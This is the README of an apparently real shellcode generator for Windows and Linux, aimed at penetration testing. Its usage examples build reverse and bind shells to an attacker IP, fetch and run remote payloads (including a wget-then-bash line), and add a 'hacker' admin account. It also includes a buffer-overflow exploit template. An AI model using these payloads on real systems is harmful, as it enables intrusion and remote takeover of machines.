A powerful Python-based shellcode generator supporting Windows (x86/x64) and Linux (x86/x64/ARM/ARM64) architectures with automatic bad character avoidance.
# List available payloads
./shellgen_cli.py --list-payloads
./hash_generator.py LoadLibraryA
# Generate Windows MessageBox
./shellgen_cli.py --platform windows --payload messagebox --title "Pwned" --message "Hello!"
# Generate Linux ARM64 reverse shell
./shellgen_cli.py --platform linux --payload reverse_shell --host 10.10.14.5 --port 443 --arch arm64
# Generate Windows x86 command execution
./shellgen_cli.py --platform windows --payload winexec --cmd "calc.exe" --arch x86
# Generate API hashes
./hash_generator.py --format python LoadLibraryA GetProcAddressshellgen/
├── src/ # Core package modules
│ ├── __init__.py # Package initialization
│ ├── encoders.py # Bad character encoding
│ ├── assembler.py # Assembly and verification (Keystone)
│ ├── formatters.py # Output formatters
│ ├── payloads.py # High-level payload builders
│ ├── cli.py # Command-line interface
│ └── generators/ # OS-specific generators
│ ├── windows.py # Windows (x86/x64) - PEB walk, API resolution
│ └── linux.py # Linux (x86/x64/ARM/ARM64) - Syscalls
├── shellgen_cli.py # Main CLI entry point
├── hash_generator.py # ROR13 hash generator for API resolution
├── common_apis.txt # Common Windows API function names
├── README.md # This file
└── CLAUDE.md # Technical documentation
- Python 3.6 or higher
- python3-venv (virtual environment support)
- Build tools for Keystone Engine
Using a dedicated virtual environment is the cleanest and recommended approach.
# Install system dependencies
sudo apt update
sudo apt install -y python3 python3-venv python3-pip cmake build-essential
# Navigate to the repo root
cd /path/to/rop_tools
# Create a dedicated virtual environment
python3 -m venv venv
# Activate the virtual environment
source venv/bin/activate
# Install dependencies from consolidated requirements.txt
pip install -r requirements.txt
# Verify installation
cd shellgen && ./shellgen_cli.py --list-payloads# Install system dependencies
sudo dnf install -y python3 python3-pip cmake gcc gcc-c++ make
# Navigate to the repo root
cd /path/to/rop_tools
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate
# Install dependencies from consolidated requirements.txt
pip install -r requirements.txt
# Verify installation
cd shellgen && ./shellgen_cli.py --list-payloadsEvery time you want to use the shellcode generator, activate the virtual environment first:
# Navigate to the repo root
cd /path/to/rop_tools
# Activate the virtual environment
source venv/bin/activate
# Now you can use the tool
cd shellgen && ./shellgen_cli.py --platform linux --payload execve --cmd "whoami" --arch arm64
# When done, deactivate the virtual environment
deactivateCreate a wrapper script that automatically activates the virtual environment:
# Navigate to shellgen directory
cd /path/to/pentest-scripts/shellgen
# Create wrapper script
cat > shellgen-wrapper.sh << 'EOF'
#!/bin/bash
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source "$SCRIPT_DIR/venv/bin/activate"
"$SCRIPT_DIR/shellgen_cli.py" "$@"
deactivate
EOF
# Make it executable
chmod +x shellgen-wrapper.sh
# Create symlink in ~/bin
mkdir -p ~/bin
ln -s "$(pwd)/shellcode-wrapper.sh" ~/bin/shellgen
# Add to PATH (if not already)
echo 'export PATH="$HOME/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
# Now you can run from anywhere
shellgen --list-payloads
shellgen --platform windows --payload messagebox --title "Test" --message "Hello!"Add a bash function to your shell configuration:
# Add to ~/.bashrc or ~/.zshrc
cat >> ~/.bashrc << 'EOF'
# Shellcode generator function
shellgen() {
REPO_ROOT="/path/to/rop_tools"
(cd "$REPO_ROOT" && source venv/bin/activate && cd shellgen && ./shellgen_cli.py "$@")
}
EOF
# Reload shell configuration
source ~/.bashrc
# Now you can run from anywhere
shellgen --list-payloadsNote: Replace /path/to/rop_tools with the actual path to your repo root directory.
- messagebox - Display MessageBox dialog (x86, x64)
- winexec - Execute command via WinExec (x86, x64)
- createprocess - Execute via CreateProcessA (flexible process creation) (x86, x64)
- shellexecute - Execute via ShellExecuteA (programs/URLs with verbs) (x86, x64)
- system - Execute via system() from msvcrt.dll (C runtime) (x86, x64)
- download_exec - Download file (URLDownloadToFile) and execute (x86, x64)
- reverse_shell - Native socket reverse shell (runs in current process) (x86)
- reverse_shell_x64 - Native socket reverse shell (x64)
- reverse_shell_powershell - PowerShell reverse shell (spawns child process) (x86, x64)
- bind_shell - Native socket bind shell (listens for connections) (x86)
- bind_shell_x64 - Native socket bind shell (x64)
- bind_shell_simple - PowerShell bind shell (simple, spawns child process) (x86, x64)
- execve - Execute commands via execve syscall (x86, x64, arm, arm64)
- reverse_shell - TCP reverse shell (socket + execve) (x86, x64, arm, arm64)
- bind_shell - TCP bind shell (listens + execve) (x86, x64, arm, arm64)
shellgen --platform windows --payload messagebox \
--title "Pwned" \
--message "Hello from shellcode!" \
--arch x86shellgen --platform windows --payload winexec \
--cmd "calc.exe" \
--arch x86 \
--bad-chars 00,0a,0d \
--verifyshellgen --platform windows --payload createprocess \
--cmd "cmd.exe /c whoami > C:\\output.txt" \
--arch x86 \
--show-window 0# Execute a program
shellgen --platform windows --payload shellexecute \
--cmd "notepad.exe" \
--arch x86
# Open a URL in browser
shellgen --platform windows --payload shellexecute \
--cmd "https://example.com" \
--arch x86shellgen --platform windows --payload system \
--cmd "net user hacker Password123! /add" \
--arch x86 \
--bad-chars 00,0a,0dshellgen --platform windows --payload download_exec \
--url "http://10.10.14.5/payload.exe" \
--save-path "C:\\temp\\p.exe" \
--arch x86# Start listener on attacker machine
nc -lvnp 443
# Generate shellgen with default cmd.exe shell
shellgen --platform windows --payload reverse_shell \
--host 10.10.14.5 \
--port 443 \
--arch x86
# Generate with custom shell (e.g., powershell.exe)
shellgen --platform windows --payload reverse_shell \
--host 10.10.14.5 \
--port 443 \
--shell "powershell.exe" \
--arch x86
# The native reverse shell:
# - Creates socket via WSASocketA (inheritable by default)
# - Connects to attacker host
# - Redirects stdin/stdout/stderr to socket in STARTUPINFOA
# - Launches specified shell (default: cmd.exe) with bInheritHandles=TRUE
# - Waits for shell process to exit via WaitForSingleObject(INFINITE)
# - Uses NEG encoding (two's complement) for shell string to avoid null bytesshellgen --platform windows --payload reverse_shell_x64 \
--host 10.10.14.5 \
--port 443shellgen --platform windows --payload reverse_shell_powershell \
--host 10.10.14.5 \
--port 443 \
--arch x86# x86 bind shell
shellgen --platform windows --payload bind_shell \
--port 4444 \
--shell "cmd.exe"
# x64 bind shell
shellgen --platform windows --payload bind_shell_x64 \
--port 4444shellgen --platform windows --payload bind_shell_simple \
--port 4444 \
--arch x86# Print opcodes line by line with bad character highlighting
shellgen --platform windows --payload winexec \
--cmd "calc.exe" \
--arch x86 \
--bad-chars 00,0a,0d,20 \
--debug-shellcode
# Output shows:
# - Line number and offset for each instruction
# - Opcodes in hex format
# - Bad characters highlighted in red
# - Summary of total bad characters foundshellgen --platform linux --payload reverse_shell \
--host 192.168.1.100 \
--port 4444 \
--arch arm64 \
--format python \
--output revshell_arm64.pyshellgen --platform linux --payload execve \
--cmd "wget http://10.10.14.5/shell.sh -O /tmp/s.sh && bash /tmp/s.sh" \
--arch arm \
--format c \
--output payload_arm32.cshellgen --platform linux --payload execve \
--cmd "/bin/sh" \
--arch arm64shellgen --platform linux --payload reverse_shell \
--host 10.10.14.5 \
--port 4444 \
--arch x64shellgen --platform linux --payload bind_shell \
--port 4444 \
--arch arm \
--shell "/bin/sh"shellgen --platform linux --payload execve --cmd "whoami" --arch arm64
# Creates shellgen.asmshellgen --platform linux --payload execve --cmd "whoami" --arch arm64 --format pythonshellgen --platform linux --payload execve --cmd "whoami" --arch arm64 --format cshellgen --platform linux --payload execve --cmd "whoami" --arch arm64 --format raw --output payload.binshellgen --platform windows --payload winexec --cmd "calc.exe" --format pyasm --output shellcode_asm.py
# Creates a Python script with assembly code that can be assembled with KeystoneThe generated pyasm script includes:
BAD_CHARSset — populated from your--bad-chars(or JSONbad_chars)push_string(s)helper — pushes a null-terminated ASCII string onto the stack with automatic bad character encoding. After execution,ecx/rcxpoints to the string. Useful for building UNC paths, filenames, or command strings at runtime:# In the generated script, add to your CODE: extra = push_string("\\\\127.0.0.1\\share\\payload.exe") CODE += extra + " mov edi, ecx;" # save pointer
_encode_dword(target)helper — finds clean SUB/ADD encodings for dwords containing bad characters
For advanced use cases, you can create custom payloads by defining API calls in a JSON file. This allows you to chain together any Windows API functions with precise control over arguments.
{
"bad_chars": ["0x00", "0x0a", "0x0d"],
"calls": [
{
"api": "MessageBoxA",
"dll": "user32.dll",
"args": [null, "Hello from custom shellgen!", "Custom Payload", 0]
}
],
"exit": true
}Field Descriptions:
bad_chars- Array of byte values to avoid (optional, defaults to[0, 10, 13])- Integers:
[0, 10, 13] - Hex strings:
["0x00", "0x0a", "0x0d"] - Mixed:
[0, "0x0a", 13]
- Integers:
calls- Array of API call objects (required)api- Windows API function name (e.g., "CreateFileA", "WriteFile")dll- DLL containing the function (e.g., "kernel32.dll", "user32.dll")args- Array of arguments to pass to the function. Supported types:- Integers (e.g.,
1,2,0x40000000) — pushed with bad-char encoding - Hex strings (e.g.,
"0x40000000") — converted to integers automatically, then pushed with bad-char encoding nullor0— NULL pointers, pushed viaxor reg, regto avoid NULL bytes- Strings (e.g.,
"C:\\test.txt","Hello World!") — pushed onto the stack, pointer passed as argument "REG:reg"— register references (e.g.,"REG:eax","REG:esp") — pushes the register value directly"MEM:ref"— memory references (e.g.,"MEM:[ebp-4]","MEM:[esp+0x10]") — pushes from the specified memory location. Any bracket expression is emitted aspush [ref]
- Integers (e.g.,
save_result- Register to save the return value (EAX) into after the call (optional). Emitsmov <reg>, eaxafter the API call. Use this to preserve return values across multiple calls. The saved register can then be referenced in later calls via"REG:<reg>". Common choices:"esi","edi"(callee-saved, won't be clobbered by most API calls). Caution: String argument preparation usesedi,esi,edxas scratch registers (x86), so a saved value may be clobbered if a later call has plain string arguments that trigger string prep into the same register.
stack_alloc- Array of stack buffer allocations (optional). Each entry is an object:name- Register to point at the allocated buffer (e.g.,"edi","ebx","r12")size- Buffer size in bytes (integer or hex string like"0x104")init_dword- Initial DWORD value to write at the buffer start (optional, integer or hex string)- Buffers are allocated with a single
sub esp/rspand each register gets amov/leato its region - Values containing bad characters are automatically encoded
exit- Whether to call ExitProcess at the end (optional, defaults totrue)
# Create your custom payload JSON file
cat > my_payload.json << 'EOF'
{
"bad_chars": ["0x00", "0x0a", "0x0d"],
"calls": [
{
"api": "CreateFileA",
"dll": "kernel32.dll",
"args": ["C:\\test.txt", "0x40000000", 0, null, 2, 0, null]
},
{
"api": "WriteFile",
"dll": "kernel32.dll",
"args": ["REG:eax", "Hello World!", 12, "REG:esp", 0]
},
{
"api": "CloseHandle",
"dll": "kernel32.dll",
"args": ["REG:eax"]
}
],
"exit": true
}
EOF
# Generate shellgen from JSON (uses bad_chars from JSON)
./shellgen_cli.py --platform windows --json my_payload.json --arch x86
# Override bad_chars from command line (adds 0x20 to bad characters)
./shellgen_cli.py --platform windows --json my_payload.json --arch x86 --bad-chars 00,0a,0d,20Note: When using --json, the --bad-chars CLI argument will override the bad_chars specified in the JSON file. The tool will display which source is being used for bad characters.
The project includes a sample custom payload:
# View the example
cat example_payload.json
# Generate shellgen from example
./shellgen_cli.py --platform windows --json example_payload.json --arch x86 --format python{
"bad_chars": ["0x00", "0x0a", "0x0d"],
"calls": [
{
"api": "CreateFileA",
"dll": "kernel32.dll",
"args": ["C:\\payload.bat", "0x40000000", 0, null, 2, "0x80", null]
},
{
"api": "WriteFile",
"dll": "kernel32.dll",
"args": ["REG:eax", "@echo off\r\nnet user hacker Pass123! /add\r\n", 45, "REG:esp", 0]
},
{
"api": "CloseHandle",
"dll": "kernel32.dll",
"args": ["REG:eax"]
},
{
"api": "WinExec",
"dll": "kernel32.dll",
"args": ["C:\\payload.bat", 0]
}
],
"exit": true
}Use stack_alloc to pre-allocate stack buffers for API calls that need output pointers (e.g., GetCurrentDirectoryA, GetTempPathA, ReadFile). Each allocation reserves space on the stack and assigns a register to point at it.
{
"bad_chars": ["0x00", "0x0a", "0x0d"],
"stack_alloc": [
{"name": "edi", "size": "0x104"},
{"name": "ebx", "size": 4, "init_dword": "0x104"}
],
"calls": [
{
"api": "GetCurrentDirectoryA",
"dll": "kernel32.dll",
"args": ["REG:ebx", "REG:edi"],
"save_result": "esi"
},
{
"api": "MessageBoxA",
"dll": "user32.dll",
"args": [null, "REG:edi", "Current Dir", 0]
}
]
}In this example:
edipoints to a 260-byte buffer for the directory pathebxpoints to a 4-byte DWORD initialized to 260 (the buffer size)- Both are allocated with a single
sub espinstruction - Values containing bad characters are automatically encoded using the subtraction/addition strategy
Use "REG:register_name" in args to reference register values. Use "save_result" on a call object to preserve the return value (EAX) in a named register for later use.
Available registers for "REG:":
"REG:eax"- Return value from the immediately previous API call"REG:ebx"- EBX register value"REG:ecx"- ECX register value"REG:edx"- EDX register value"REG:esi"- ESI register value"REG:edi"- EDI register value"REG:esp"- Stack pointer (useful for passing pointer to DWORD output parameter)
x64 registers: "REG:rax", "REG:rcx", "REG:rdx", "REG:r8" through "REG:r15", etc.
Memory references with "MEM:":
Use "MEM:[expression]" to push a value from a memory location. The bracket expression is emitted directly as push [expression] in the generated assembly.
"MEM:[ebp-4]"— push DWORD from[ebp-4]"MEM:[esp+0x10]"— push DWORD from[esp+0x10]"MEM:[edi]"— push DWORD pointed to byedi
This is useful for passing pointers or values stored at known stack/memory offsets, such as data from stack_alloc buffers or local variables.
save_result field:
Without save_result, the return value in EAX is only available to the immediately next call via "REG:eax". If a later call has string arguments, string preparation will clobber EAX before the argument push phase. save_result lets you move EAX into a more durable register right after the call returns.
{
"api": "VirtualAlloc",
"dll": "kernel32.dll",
"args": [null, 4096, "0x3000", "0x40"],
"save_result": "edi"
}This emits mov edi, eax after the VirtualAlloc call. Later calls can reference the buffer via "REG:edi".
Example: Chaining return values across multiple calls:
{
"calls": [
{
"api": "CreateFileA",
"dll": "kernel32.dll",
"args": ["C:\\test.txt", "0x40000000", 0, null, 2, 0, null],
"save_result": "esi"
},
{
"api": "WriteFile",
"dll": "kernel32.dll",
"args": ["REG:esi", "Hello World!", 12, "REG:esp", 0]
},
{
"api": "CloseHandle",
"dll": "kernel32.dll",
"args": ["REG:esi"]
}
]
}Without save_result, the file handle from CreateFileA would be lost after WriteFile (whose return value overwrites EAX). With "save_result": "esi", the handle is preserved in ESI for both WriteFile and CloseHandle.
Caution: On x86, string argument preparation uses edi, esi, edx as scratch registers. If a later call has plain string arguments, it may clobber a register you saved into. Plan your register choices accordingly — if a subsequent call has string args that will use edi, save into a register that won't be touched (or reorder your calls).
CreateFileA — args: [lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile]
{
"api": "CreateFileA",
"dll": "kernel32.dll",
"args": ["C:\\path\\to\\file.txt", "0x40000000", 0, null, 2, "0x80", null]
}WriteFile — args: [hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped]
{
"api": "WriteFile",
"dll": "kernel32.dll",
"args": ["REG:eax", "Hello World!", 12, "REG:esp", 0]
}MessageBoxA — args: [hWnd, lpText, lpCaption, uType]
{
"api": "MessageBoxA",
"dll": "user32.dll",
"args": [null, "Message text", "Title", 0]
}- Test incrementally - Start with simple API calls and add complexity
- Use --debug-shellcode - Identify bad characters in generated opcodes
- Reference Windows API docs - Ensure correct argument order and types
- Chain API calls - Use register references to pass data between calls
- Minimize bad chars - Use NEG encoding for strings when needed
- Verify output - Always test with
--verifyflag
Options:
--list-payloads List all available payloads
--platform {windows,linux}
Target platform (required)
--payload PAYLOAD Payload name (required unless using --json)
--arch {x86,x64,arm,arm64}
Target architecture (default: x86)
--format {asm,python,c,raw,pyasm}
Output format (default: asm)
--bad-chars BAD_CHARS Comma-separated hex bytes to avoid (default: 00)
When using --json, this overrides bad_chars from the JSON file
Pass an empty string to skip bad character checking entirely
# Custom payload:
--json JSON_FILE Load custom payload from JSON file
(replaces --payload and payload-specific options)
bad_chars from JSON can be overridden with --bad-chars CLI arg
# Payload-specific options:
--title TITLE MessageBox title
--message MESSAGE MessageBox message
--cmd CMD Command to execute
--show-window N Window visibility (0=hidden, 1=normal)
--url URL URL to download from
--save-path PATH Local path to save file
--host HOST Target IP address for reverse shell
--port PORT Target port for reverse shell
--shell SHELL Shell to execute (e.g., cmd.exe, powershell.exe, /bin/bash)
Works with: reverse_shell, reverse_shell_x64,
reverse_shell_powershell, bind_shell, bind_shell_x64
(Windows), execve (Linux)
# Output options:
--output OUTPUT Output filename (default: shellcode.asm)
--verify Verify assembled shellcode for bad characters
--debug-shellcode Print opcodes line by line to identify bad characters
--no-exit Skip ExitProcess at the end (Windows only)
--generate-completion {bash,zsh}
Print shell completion script and exit
Important: All architectures require Keystone Engine.
- ✅ Multi-architecture support (x86, x64, ARM32, ARM64)
- ✅ Automatic bad character avoidance for Windows payloads
- ✅ Multiple output formats (ASM, Python, C, Raw Binary, PyASM)
- ✅ Built-in shellcode verification
- ✅ Debug mode: Line-by-line opcode analysis with bad character highlighting
- ✅ Enhanced Visual Output: Colored panels, progress indicators, hex previews
- ✅ Architecture Matrix: Interactive table showing payload compatibility
- ✅ Robust PEB walk with kernel32.dll length check (Windows)
- ✅ InInitializationOrderModuleList optimization (Windows)
- ✅ LoadLibraryA support for external DLLs (Windows)
- ✅ Native socket reverse shell with proper handle inheritance (Windows)
- ✅ Direct syscall implementation (Linux)
- ✅ Stack buffer allocation:
stack_allocJSON field for output buffers with bad char encoding - ✅ PyASM push_string helper: Encodes strings onto the stack avoiding bad characters
- ✅ String consolidation for size optimization
- ✅ ROR13 hash-based function lookup
- ✅ Modular architecture for easy extension
The shellcode generator now includes a rich visual interface with colored output and enhanced formatting (using the shared lib/color_printer library):
When generating shellcode, you'll see:
- Progress indicator: "⚙ Assembling shellcode with Keystone Engine..."
- Success panel (green): Shows shellcode size and instruction count
- Hex preview: First 16 bytes displayed in hex + ASCII format
- Clean scan (green panel): "✓ Bad Character Scan - CLEAN"
- Warning panel (yellow): "⚠ Bad Character Scan - WARNING" with detailed breakdown
- Recommendation panel (cyan): Helpful tips for fixing bad character issues
The scan reports the bytes you asked about via --bad-chars. It previously
reported a fixed list of common bad characters instead, which meant it could
stay quiet about a byte you had asked to avoid and complain about one you had
not.
Every byte the generator emits is checked against --bad-chars, not just the
constants it pushes:
- Structure offsets. Displacements dictated by Windows, such as the
0x20in the loader's module-name field, are split across aLEAinto a scratch register when the offset byte is one you asked to avoid. - Frame slots. Offsets the generator picks for itself, such as the slot
holding
LoadLibraryA, move to a clean offset rather than being split. Hand-written payload assembly that refers to those slots is updated to match. - Immediates. API hashes, stack reservations, rotate counts, shadow-space
adjustments and small integer arguments are encoded rather than emitted
literally. On x64 this matters even with the default bad characters, because
mov reg, imm32zero-pads and so writes NULL bytes for any small constant. - Payload data. The address and port in the socket payloads are encoded, so
a target such as
10.0.0.1no longer forces NULL bytes into the output.
Checked before anything is written. Generation fails with a non-zero exit
status and writes no file when the result still contains a requested bad
character. Previously the file was written first and the check, which only ran
under --verify, reported the problem afterwards. --verify still works and now
only controls whether the full report prints on success.
What cannot be avoided. A byte that lands in an opcode, a ModR/M field or a
REX prefix cannot be encoded away; it needs a different instruction sequence.
0xff in call dword ptr [ebp+0x08] is one example. Generation reports these
plainly instead of writing a payload that will not work. Roughly 179 of the 256
possible byte values can be avoided in a Windows payload; the rest fail loudly.
Windows payloads show ROR13 API hashes in a cyan panel box:
- LoadLibraryA and all resolved APIs
- GetCurrentProcess / TerminateProcess for clean exits
- Formatted for easy reference
Use --list-payloads to see:
- Categorized payloads (Windows/Linux)
- Architecture support displayed for each payload
- Compatibility matrix: Tables showing which architectures work with each payload
- Examples section: Common usage patterns with copy-paste commands
- Quick tips panel: Reminders about --arch, --format, --bad-chars
Output formats automatically detect TTY vs file output:
- Terminal: Colored headers, variable names, and syntax highlighting
- File/pipe: Plain text with no ANSI codes (safe for scripts)
Visual features require the Rich library (included in the consolidated requirements.txt at repo root):
# From repo root
pip install -r requirements.txtIf Rich is not available, the tool automatically falls back to plain text output.
#!/usr/bin/env python3
import struct
# Generate shellgen with:
# shellgen --platform linux --payload reverse_shell --host 10.10.14.5 --port 443 --arch arm64 --format python
shellcode = b"\x42\x00\x80\xd2\x21\x00\x00\x8b..." # Your generated shellgen
# Build exploit payload
offset = 264 # Offset to return address
padding = b"A" * offset
# ARM64 little-endian address
ret_addr = struct.pack("<Q", 0xffffdeadbeef)
payload = padding + ret_addr + shellcode
# Send payload to target
with open('exploit_payload.bin', 'wb') as f:
f.write(payload)
print(f"[+] Exploit payload created: {len(payload)} bytes")
print(f"[+] Shellcode size: {len(shellcode)} bytes")from src.generators import WindowsGenerator, LinuxGenerator
from src.payloads import windows_messagebox, linux_execve
from src.assembler import assemble_to_binary
# Example 1: Windows MessageBox (x86)
config = windows_messagebox(
title="Pwned",
message="Hello from shellgen!",
bad_chars={0x00, 0x0a, 0x0d}
)
generator = WindowsGenerator(config['bad_chars'], arch='x86')
asm_code = generator.generate(config)
shellcode = assemble_to_binary(asm_code, arch='x86')
print(f"Windows x86 shellgen size: {len(shellcode)} bytes")
# Example 2: Linux ARM64 execve
config = linux_execve(
command="/bin/sh",
bad_chars={0x00, 0x0a, 0x0d},
arch='arm64'
)
generator = LinuxGenerator(config['bad_chars'], arch='arm64')
asm_code = generator.generate(config)
shellcode = assemble_to_binary(asm_code, arch='arm64')
print(f"Linux ARM64 shellgen size: {len(shellcode)} bytes")This tool is designed for authorized security testing only. Use cases include:
- Penetration testing engagements
- Exploit development research
- Red team operations
- Security training
- CTF competitions
Unauthorized use is illegal and unethical.
- Uses direct syscalls (no libc dependencies)
- Syscall numbers:
- x86: socket=359, connect=362, dup2=63, execve=11
- x64: socket=41, connect=42, dup2=33, execve=59
- ARM32: socket=281, connect=283, dup2=63, execve=11
- ARM64: socket=198, connect=203, dup3=24, execve=221
- Requires Keystone Engine for assembly
- Robust PEB walk with kernel32.dll length check (24 bytes)
- InInitializationOrderModuleList for fast kernel32 lookup
- ROR13 hashing for API lookup
- LoadLibraryA support for external DLLs
- Automatic bad character encoding
The hash_generator.py tool generates ROR13 hashes for Windows API functions. These hashes are used in shellcode for dynamic API resolution without embedding function name strings.
# Generate hash for a single function
./hash_generator.py LoadLibraryA
# Output:
# ========================================================================
# ROR13 Hash Generator
# ========================================================================
#
# LoadLibraryA => 0xec0e4e8e./hash_generator.py LoadLibraryA GetProcAddress CreateProcessA
# Generates hashes for all specified functions
The tool includes common_apis.txt with commonly used Windows APIs:
./hash_generator.py --file common_apis.txt --format python > api_hashes.pyPython Dictionary:
./hash_generator.py --format python LoadLibraryA GetProcAddressAPI_HASHES = {
'LoadLibraryA': 0xec0e4e8e,
'GetProcAddress': 0x7c0dfcaa,
}Assembly Constants:
./hash_generator.py --format asm CreateProcessA TerminateProcessCREATEPROCESSA_HASH equ 0x16b3fe72 ; CreateProcessA
TERMINATEPROCESS_HASH equ 0x78b5b983 ; TerminateProcessC Struct Array:
./hash_generator.py --format c MessageBoxA ExitProcessJSON:
./hash_generator.py --format json WSAStartup WSASocketA./hash_generator.py --verify "CreateProcessA:0x16b3fe72"
# Output:
# Function: CreateProcessA
# Expected: 0x16b3fe72
# Actual: 0x16b3fe72
# ✓ MATCHUse the generated hashes in custom shellcode:
; Resolve CreateProcessA from kernel32.dll
push 0x16b3fe72 ; CreateProcessA hash
call find_function ; Your ROR13 hash lookup function
; EAX now contains address of CreateProcessAOr import in Python:
from hash_generator import ror13_hash
# Generate hash for any API function
hash_val = ror13_hash("CreateFileA")
print(f"push 0x{hash_val:08x} ; CreateFileA hash")Both shellgen and hash_generator support auto-generated shell completions:
# Bash — add to ~/.bashrc or ~/.bash_completion.d/
shellgen --generate-completion bash >> ~/.bashrc
hash_generator --generate-completion bash >> ~/.bashrc
# Zsh — place in $fpath directory
shellgen --generate-completion zsh > ~/.zsh/completions/_shellgen
hash_generator --generate-completion zsh > ~/.zsh/completions/_hash_generatorCompletions are auto-generated from the argparse parser, so new flags are automatically included.
Make sure you're in the virtual environment:
source venv/bin/activate
pip install keystone-engineThe encoder couldn't find clean values. Try:
- Reducing bad character restrictions
- Using a different payload type
- Different command/string values
See the installation troubleshooting section in the original README or install from source.
- README.md - Installation and usage (this file)
- CLAUDE.md - Technical documentation and implementation details
- Keystone Engine - https://www.keystone-engine.org/
- ARM Syscall Reference - https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
- Windows PEB Structure - https://en.wikipedia.org/wiki/Process_Environment_Block
cd /path/to/rop_tools
rm -rf venvrm ~/bin/shellgen
rm shellgen-wrapper.shFor authorized security testing and research purposes only.
Dawid Esterhuizen
Note: Always ensure you have explicit permission before testing on any system you do not own.
